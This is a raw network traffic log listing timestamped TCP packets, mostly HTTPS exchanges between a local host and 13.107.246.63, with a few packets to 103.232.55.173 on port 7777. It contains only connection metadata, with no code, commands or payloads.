Dec 6, 2024 15:54:24.529102087 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.529181004 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.531330109 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.535324097 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.535330057 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.535341978 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.535456896 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.581151009 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.581660032 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.581680059 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.581691980 CET	49985	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.581698895 CET	443	49985	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.582782984 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.582815886 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.582829952 CET	49986	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.582837105 CET	443	49986	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.586261988 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.586272955 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.586680889 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.586684942 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.588926077 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.588958979 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.589095116 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.589232922 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.589246035 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.590166092 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.590197086 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.590250015 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.590375900 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.590390921 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.598090887 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.598484039 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.598500013 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.598918915 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.598925114 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.832515001 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.832609892 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.832772017 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.832807064 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.832807064 CET	49987	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.832827091 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.832837105 CET	443	49987	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.835496902 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.835520983 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:24.835761070 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.835885048 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:24.835897923 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.024816036 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.027856112 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.027934074 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.027960062 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.027976036 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.027992010 CET	49988	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.027997017 CET	443	49988	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.030965090 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.031033039 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.031100988 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.031254053 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.031269073 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.044168949 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.044192076 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.048177958 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.055332899 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.057964087 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.058299065 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.058315039 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.058325052 CET	49989	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.058331013 CET	443	49989	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.061225891 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.061280012 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:25.061573029 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.061743975 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:25.061758995 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.331228971 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.334868908 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.334897995 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.335349083 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.335355997 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.336563110 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.336855888 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.336873055 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.337224960 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.337232113 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.568254948 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.570966959 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.570991039 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.571441889 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.571448088 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.778207064 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.778930902 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.778959036 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.779361963 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.779369116 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.785787106 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.785810947 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.785865068 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.785867929 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.786075115 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.786195993 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.786215067 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.786230087 CET	49990	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.786236048 CET	443	49990	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.788954020 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.788990021 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.789115906 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.789808035 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.789823055 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.826282978 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.826317072 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.826332092 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.829847097 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.829870939 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.830020905 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.967776060 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.967843056 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.967839956 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.967988968 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.968267918 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.968267918 CET	49991	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.968281031 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.968290091 CET	443	49991	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.971570969 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.971592903 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:26.971806049 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.972469091 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:26.972482920 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.008578062 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.008610964 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.011533022 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.011557102 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.011876106 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.011931896 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.118170977 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.118196011 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.118207932 CET	49992	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.118215084 CET	443	49992	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.143578053 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.143632889 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.145451069 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.147083998 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.147098064 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.281534910 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.281563044 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.281668901 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.281685114 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.281800032 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.281996965 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.282005072 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.282027960 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.282198906 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.282231092 CET	443	49994	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.283876896 CET	49994	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.285078049 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.285125017 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.285499096 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.285696030 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:27.285711050 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:27.578959942 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:27.698664904 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:28.130188942 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.130753040 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.130770922 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.131202936 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.131208897 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.136034966 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:28.151227951 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:28.271297932 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:28.509706020 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.510196924 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.510237932 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.510752916 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.510768890 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.699565887 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.700066090 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.700084925 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.700525045 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.700532913 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.876166105 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.876751900 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.876774073 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.877188921 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.877194881 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.944812059 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.944837093 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.944911957 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.944947958 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.945192099 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.945192099 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.945213079 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.945377111 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.945432901 CET	443	49995	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.945910931 CET	49995	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.947864056 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.947889090 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:28.947954893 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.948102951 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:28.948108912 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.000454903 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.001068115 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.001096010 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.001530886 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.001537085 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.134846926 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.138094902 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.138166904 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.138212919 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.138228893 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.138238907 CET	49996	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.138245106 CET	443	49996	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.141200066 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.141273975 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.141330957 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.141478062 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.141493082 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.320872068 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.320957899 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.321064949 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.321446896 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.321475029 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.321489096 CET	49997	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.321496010 CET	443	49997	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.325829029 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.325890064 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.328500986 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.335586071 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.335614920 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.439273119 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.442470074 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.447326899 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.447443962 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.447530031 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.447546959 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.447556973 CET	49998	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.447562933 CET	443	49998	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.452830076 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.452877045 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:29.452948093 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.453141928 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:29.453156948 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.664082050 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.664608002 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.664655924 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.665054083 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.665061951 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.807178020 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.807214022 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.807245970 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.807337999 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.807337999 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.807359934 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.807574987 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.872014999 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.874432087 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.874461889 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.874962091 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.874968052 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.963557005 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.963643074 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.963677883 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.963766098 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.963957071 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.963977098 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.963988066 CET	49993	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.963994026 CET	443	49993	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.966892958 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.966941118 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:30.967045069 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.967295885 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:30.967309952 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.065949917 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.066837072 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.066857100 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.067276955 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.067281961 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.098993063 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.101912022 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.102014065 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.102361917 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.102372885 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.102385044 CET	49999	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.102390051 CET	443	49999	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.105350971 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.105370998 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.105456114 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.105727911 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.105736971 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.167221069 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.208482027 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.208509922 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.208923101 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.208930016 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.307008982 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.307060957 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.307111025 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.307157040 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.307429075 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.307446003 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.307457924 CET	50000	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.307463884 CET	443	50000	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.547425985 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.550316095 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.555825949 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.555999994 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.556009054 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.556016922 CET	50001	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.556021929 CET	443	50001	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.601277113 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.604875088 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.613863945 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.614454985 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.614475012 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:31.614487886 CET	50002	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:31.614492893 CET	443	50002	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.696305037 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.698121071 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:32.698153019 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.698622942 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:32.698630095 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.834120035 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.836112022 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:32.836147070 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:32.836544037 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:32.836549997 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.132111073 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.135256052 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.135329962 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.135404110 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.135426998 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.135437965 CET	50003	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.135443926 CET	443	50003	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.597887993 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.597981930 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.598700047 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.599714041 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.599735975 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:33.599747896 CET	50004	443	192.168.2.7	13.107.246.63
Dec 6, 2024 15:54:33.599754095 CET	443	50004	13.107.246.63	192.168.2.7
Dec 6, 2024 15:54:34.264156103 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:34.383882999 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:34.599335909 CET	49855	7777	192.168.2.7	103.232.55.173
